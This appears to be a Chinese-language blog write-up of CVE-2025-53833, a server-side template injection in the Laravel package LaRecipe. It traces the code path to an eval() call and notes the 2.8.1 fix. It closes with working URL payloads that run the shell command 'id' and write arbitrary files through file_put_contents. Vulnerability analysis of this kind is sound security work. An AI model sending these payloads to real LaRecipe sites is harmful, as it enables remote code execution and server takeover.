CVE-2025-53833 LaRecipe 服务端模板注入漏洞

漏洞信息

漏洞名称:Laravel LaRecipe 服务器端模板注入漏洞

产品介绍:LaRecipe 是一款专为 Laravel 框架设计的现代化文档生成工具,其核心定位是帮助开发者快速构建美观、可交互的技术文档系统。该组件采用 MIT 许可证开源,目前由 Binary Torch 团队维护,在 packagist.org 统计的安装量达234万+,表明其在 Laravel 生态中已成为主流文档解决方案。271个 fork 和 2.5k 星标显示较强的社区影响力。LaRecipe 广泛应用于各类 Laravel 项目的文档系统构建,支持 Markdown 语法、代码高亮、搜索功能等特性。

项目地址:https://github.com/saleem-hadad/larecipe

影响版本:< 2.8.1

自动化扫描的一个漏洞,因为很少遇到 PHP 的模板注入所以看一下。

image-20250718150025077

漏洞分析

漏洞点在 src/Traits/HasBladeParser.php 直接搜索 eval 就可以搜索到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function renderBlade($content, $data = [])  
{
$content = $this->compileBlade($content); // [1]
$obLevel = ob_get_level();
ob_start();
extract($data, EXTR_SKIP);

try {
eval('?'.'>'.$content); // [2]
} catch (\Exception $e) {
// ...
} catch (\Throwable $e) {
// ...
}
// ....
return $contents;
}

public function compileBlade($rawContent) // [3]
{
$compilableContent = $this->stripCodeBlocks($rawContent);
$compiledContent = Blade::compileString($compilableContent);
return $this->mergeContent($compiledContent, $rawContent);
}

[1] 处的 compileBlade 是由 Blade( Laravel 框架的模板引擎)编译 PHP 代码,然后 [2] 位置使用 eval 执行代码,由于 $content 用户可控,所以导致模板注入漏洞。
向上找调用位置:src/Models/Documentation.php Documentation:get

1
2
3
4
5
6
7
8
9
10
11
12
public function get($version, $page, $data = [])  
{
return $this->cache->remember(function() use($version, $page, $data) {
$path = base_path(config('larecipe.docs.path').'/'.$version.'/'.$page.'.md');// [4]
if ($this->files->exists($path)) { // [5]
$parsedContent = $this->parse($this->files->get($path));
$parsedContent = $this->replaceLinks($version, $parsedContent);// [6]
return $this->renderBlade($parsedContent, $data);
}
return null;
}, 'larecipe.docs.'.$version.'.'.$page);
}

[4] 处乍一看是获取 md 文件的路径然后 [5] 处判断文件是否存在,可仔细看后其实是 base_path 也就是只有路径并不是非得有文件存在才行,所以版本对的话就应该是可以的。
随后在 [6] 处的 replaceLinks 中会做一些替换,如下:

1
2
3
4
5
6
7
8
public static function replaceLinks($version, $content)
{
$content = str_replace('{{version}}', $version, $content);
$content = str_replace('{{route}}', trim(config('larecipe.docs.route'), '/'), $content);
$content = str_replace('"#', '"'.request()->getRequestUri().'#', $content);
return $content;
}

继续向上:src/DocumentationRepository.php DocumentationRepository:get

1
2
3
4
5
6
7
8
9
public function get($version, $page = null, $data = [])  
{
$this->version = $version;
$this->sectionPage = $page ?: config('larecipe.docs.landing');
$this->index = $this->documentation->getIndex($version);

$this->content = $this->documentation->get($version, $this->sectionPage, $data);
// ...
}

最后跟进到 src/Http/Controllers/DocumentationController.php
DocumentationController:show

1
2
3
4
5
public function show($version, $page = null)  
{
$documentation = $this->documentationRepository->get($version, $page);
// ....
}

到了控制器,然后寻找对应的路由:routes/LaRecipe.php

对应路由为 /{version}/{page?} ,不过无法直接访问,在 Laravel 框架中 ServiceProvider 服务提供者注册任何事件监听器、路由或者任何其他功能。
在 LaRecipe 中定义了路由前缀:
src/LaRecipeServiceProvider.php

publishable/config/larecipe.php

所以实际上对应的路由为:/docs/{version}/{page?}
整个流程就串起来了:

  1. /docs/{version}/{page?}
  2. DocumentationController:show($version, $page = null)
  3. DocumentationRepository:get($version, $page = null, $data = [])
  4. $this->sectionPage = $page ?: config('larecipe.docs.landing');
  5. $this->documentation->get($version, $this->sectionPage, $data);
  6. $parsedContent = $this->replaceLinks($version, $parsedContent)
    1. $content = str_replace('"#', '"'.request()->getRequestUri().'#', $content);
  7. $this->renderBlade($parsedContent, $data)
    1. $content = $this->compileBlade($content
    2. eval('?'.'>'.$content);

在 6.1 步中解析的 content 是通过拼接 request()->getRequestUri() 来实现的,那么只需要在路由的 page 部分写上 payload 就可以被膜拜渲染为 php 代码后被 eval 执行。
Payload:

1
2
3
url/docs/1.0/?{{99999*9999}}
url/docs/1.0/?{{`id`}}
url/docs/1.0/?{{file_put_contents("{file_name}",base64_decode("{content}"))}}

修复方案

在官方 2.8.1 的对比中可以看到把 getRequestUri 更换为 getPathInfo ,在上面的 6.1 步就无法将 payload 带入 content 了。


CVE-2025-53833 LaRecipe 服务端模板注入漏洞
https://liancccc.github.io/2025/07/17/技术/漏洞分析/CVE-2025-53833/
作者
守心
发布于
2025年7月17日
许可协议